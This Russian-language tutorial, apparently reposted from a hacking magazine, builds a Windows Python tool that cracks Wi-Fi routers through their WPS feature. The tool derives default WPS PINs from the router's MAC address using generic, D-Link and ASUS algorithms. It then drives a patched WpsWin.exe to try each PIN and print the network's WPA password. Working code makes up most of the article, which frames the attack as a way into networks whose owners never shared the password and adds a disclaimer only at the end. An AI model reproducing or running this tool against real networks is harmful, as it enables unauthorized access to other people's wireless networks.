Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN. Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест. Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие: подбор ПИН-кода или ключа безопасности методом грубой силы; использование уязвимостей реализации; социальная инженерия; использование слабостей генерации ПИН-кодов. В этой статье мы остановимся на последнем методе из списка. Откуда берут стандартный PIN Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID. Генерация WPS PIN на примере Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа Анализируем любым удобным способом (например, Dumpper). Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях BSSID получен: C4:6E:1F:6A:8D:04. Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом. Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12]. Вот реализация этого алгоритма на Python from math import floor MAC = 'C46E1F6A8D04' One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000 Var1 = 0 while Two: Var1 += 3 * (Two % 10) Two = floor(Two / 10) Var1 += Two % 10 Two = floor(Two / 10) Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10) Var3 = str(int(Var2)) result = Var3.zfill(8) Код from math import floor MAC = 'C46E1F6A8D04' One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000 Var1 = 0 while Two: Var1 += 3 * (Two % 10) Two = floor(Two / 10) Var1 += Two % 10 Two = floor(Two / 10) Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10) Var3 = str(int(Var2)) result = Var3.zfill(8) Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность Полученный WPS PIN идентичен стандартному (заводскому) Подготовка и требования Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется: Windows 7 и выше; Python 3 и выше; удобная IDE; любимый браузер; личный маршрутизатор Wi-Fi с технологией WPS «для пыток»; WpsWin (входит в состав того самого Dumpper); IDA и Hex-Rays Tool. Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше. Автозапуск с правами администратора Для автозапуска мы будем использовать следующий код: import ctypes, sys if ctypes.windll.shell32.IsUserAnAdmin(): if __name__ == "__main__": main() else: ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1) Код import ctypes, sys if ctypes.windll.shell32.IsUserAnAdmin(): if __name__ == "__main__": main() else: ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1) Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора. Разработка Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше): from math import floor def checksum(mac): mac %= 10000000 var = 0 temp = mac while temp: var += 3 * (temp % 10) temp = floor(temp / 10) var += temp % 10 temp = floor(temp / 10) return (mac * 10) + ((10 - (var % 10)) % 10) Код from math import floor def checksum(mac): mac %= 10000000 var = 0 temp = mac while temp: var += 3 * (temp % 10) temp = floor(temp / 10) var += temp % 10 temp = floor(temp / 10) return (mac * 10) + ((10 - (var % 10)) % 10) А также несколько функций генерации заветных ПИН-кодов. Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием def pin24(BSSID): temp = int(BSSID,16) & 0xFFFFFF temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLink(BSSID): temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55 temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20) temp %= 10000000 if temp < 1000000: temp += ((temp % 9) * 1000000) + 1000000 temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLinkInc1(BSSID): temp = int(BSSID, 16) + 1 return pinDLink(hex(temp)) def pinASUS(BSSID): temp = format(int(BSSID, 16), '02x') temp = str(temp).zfill(12) var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16), int(temp[8:10], 16), int(temp[10:12], 16)] pin = [] for i in range(7): pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7))) temp = int(''.join(str(i) for i in pin)) temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) Код def pin24(BSSID): temp = int(BSSID,16) & 0xFFFFFF temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLink(BSSID): temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55 temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20) temp %= 10000000 if temp < 1000000: temp += ((temp % 9) * 1000000) + 1000000 temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLinkInc1(BSSID): temp = int(BSSID, 16) + 1 return pinDLink(hex(temp)) def pinASUS(BSSID): temp = format(int(BSSID, 16), '02x') temp = str(temp).zfill(12) var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16), int(temp[8:10], 16), int(temp[10:12], 16)] pin = [] for i in range(7): pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7))) temp = int(''.join(str(i) for i in pin)) temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8)
Немного реверса Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем. Вот что нам необходимо проделать с исполняемым файлом: найти передаваемые аргументы для взаимодействия через командную строку; отыскать сообщения об успешных, неудачных и ошибочных результатах подключения; пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору. Первая нужная функция находится по адресу 0x004012A0 Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции Ошибка при невозможности подключения к беспроводной точке доступа Сообщение о некорректном ключе для подключения По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд. Само значение передается аргументом второй, найденной нами функции Долой длительное ожидание Да здравствует маленький тайм-аут! Подключение по WPS Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат import subprocess import sys from time import sleep def run_command(cmd): p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) for LINE in iter(p.stdout.readline, b''): if LINE: yield LINE while p.poll() is None: sleep(.1) err = p.stderr.read() if p.returncode != 0: print ("" + err) def connect(ESSID, PIN): cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN)) sleep(1) for LINE in run_command(cmd): LINE = LINE.decode('cp866') if "Asociacion fallida" in LINE: print ("Connection with %s hasn't been established!" % ESSID) return elif "Pin incorrecto" in LINE: print("Pin invalid!") return elif "Wpa Key" in LINE: print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n") print(LINE) sleep(5) input() sys.exit() Код import subprocess import sys from time import sleep def run_command(cmd): p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) for LINE in iter(p.stdout.readline, b''): if LINE: yield LINE while p.poll() is None: sleep(.1) err = p.stderr.read() if p.returncode != 0: print ("" + err) def connect(ESSID, PIN): cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN)) sleep(1) for LINE in run_command(cmd): LINE = LINE.decode('cp866') if "Asociacion fallida" in LINE: print ("Connection with %s hasn't been established!" % ESSID) return elif "Pin incorrecto" in LINE: print("Pin invalid!") return elif "Wpa Key" in LINE: print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n") print(LINE) sleep(5) input() sys.exit() К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим import re def main(): network = 0 results = run_command("netsh wlan show networks mode=bssid") results = [i for i in results] ssids = [] bssids = [] for line in results: line = line.decode('cp866') if "BSSID" in line: bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip()) elif "SSID" in line: ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip()) i = 0 print ("Available wireless networks at the moment:\n") for j in ssids: i += 1 print ("%d - %s" % (i, j)) while (network == "") or (int(network) < 1) or (int(network) > i): print network = input("\nChoose the wireless network > ") network = int(network) - 1 macbssid = bssids[network].upper() mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "") wifiname = ssids[network] Код import re def main(): network = 0 results = run_command("netsh wlan show networks mode=bssid") results = [i for i in results] ssids = [] bssids = [] for line in results: line = line.decode('cp866') if "BSSID" in line: bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip()) elif "SSID" in line: ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip()) i = 0 print ("Available wireless networks at the moment:\n") for j in ssids: i += 1 print ("%d - %s" % (i, j)) while (network == "") or (int(network) < 1) or (int(network) > i): print network = input("\nChoose the wireless network > ") network = int(network) - 1 macbssid = bssids[network].upper() mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "") wifiname = ssids[network] Угадываем WPS PIN Еще несколько десятков кликов по клавиатуре, и код готов algos = [pin24, pinDLink, pinDLinkInc1, pinASUS] for i in algos: pin = i(mac) print ("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname,i.__name__,pin)) connect(wifiname,pin) sleep(3) Код algos = [pin24, pinDLink, pinDLinkInc1, pinASUS] for i in algos: pin = i(mac) print ("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname,i.__name__,pin)) connect(wifiname,pin) sleep(3) Тестирование утилиты Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит! Удивительно, но программа работает Вознаграждение за труды Дополнительные фичи Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации. Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI. Придумать иной способ получения списка беспроводных сетей. Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей. Добавить проверку на наличие у беспроводной точки доступа технологии WPS. Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети. Добавить звуковое оповещение, когда будет найден верный ПИН-код. Выводы Что у нас есть по результатам: +10 к интеллекту скиллу разработки средств автоматизированного тестирования; небольшой список алгоритмов генерации ПИН-кодов; работающая утилита тестирования слабостей генерации WPS PIN; пароль от беспроводной сети. Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше. Вся информация предоставлена исключительно в ознакомительных целях. Ни я, ни автор данной статьи не несёмт ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону! Автором статьи не являюсь.